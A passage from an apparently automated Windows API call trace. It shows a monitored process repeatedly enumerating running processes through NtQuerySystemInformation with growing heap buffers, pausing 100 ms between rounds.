	[0072.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.333] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0072.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.334] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0072.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.334] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0072.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.335] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0072.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.335] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0072.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.336] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0072.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.336] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0072.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.336] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0072.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.337] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0072.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.337] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0072.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.338] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0072.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.338] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0072.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.339] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0072.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.339] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0072.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.339] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0072.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.342] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0072.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.342] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0072.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.343] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0072.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.343] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0072.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.343] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0072.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.344] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0072.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.345] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0072.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.345] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0072.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.345] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0072.346] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.346] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0072.346] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.347] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0072.347] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.347] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0072.347] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.348] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0072.348] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.348] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0072.348] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.349] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0072.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.349] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0072.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.350] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0072.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0072.352] Sleep (dwMilliseconds=0x64) 
	[0072.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2883288, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2883288, ResultLength=0x0) returned 0xc0000004
	[0072.579] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2883288, Size=0x2048) returned 0x28c2ab0
	[0072.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c2ab0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c2ab0, ResultLength=0x0) returned 0xc0000004
	[0072.579] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c2ab0, Size=0x306c) returned 0x2894bd8
	[0072.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.580] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0072.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.580] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0072.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.581] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0072.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.581] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0072.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0072.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0072.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0072.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0072.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0072.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0072.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0072.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0072.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0072.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0072.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0072.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0072.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.587] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0072.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.588] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0072.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.588] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0072.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.588] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0072.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.589] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0072.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.589] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0072.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.590] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0072.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.590] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0072.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.591] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0072.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.591] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0072.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.592] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0072.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.592] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0072.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.592] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0072.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.593] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0072.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.593] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0072.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.594] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0072.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.595] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0072.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0072.597] Sleep (dwMilliseconds=0x64) 
	[0072.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2883288, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2883288, ResultLength=0x0) returned 0xc0000004
	[0072.768] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2883288, Size=0x2048) returned 0x28be6a0
	[0072.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be6a0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28be6a0, ResultLength=0x0) returned 0xc0000004
	[0072.768] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be6a0, Size=0x306c) returned 0x2894bd8
	[0072.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.769] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0072.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.769] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0072.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.770] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0072.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.770] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0072.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.770] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0072.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.771] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0072.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.771] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0072.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.771] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0072.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.772] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0072.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.772] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0072.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.772] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0072.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.773] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0072.773] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.773] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0072.773] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.774] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0072.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.774] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0072.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.774] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
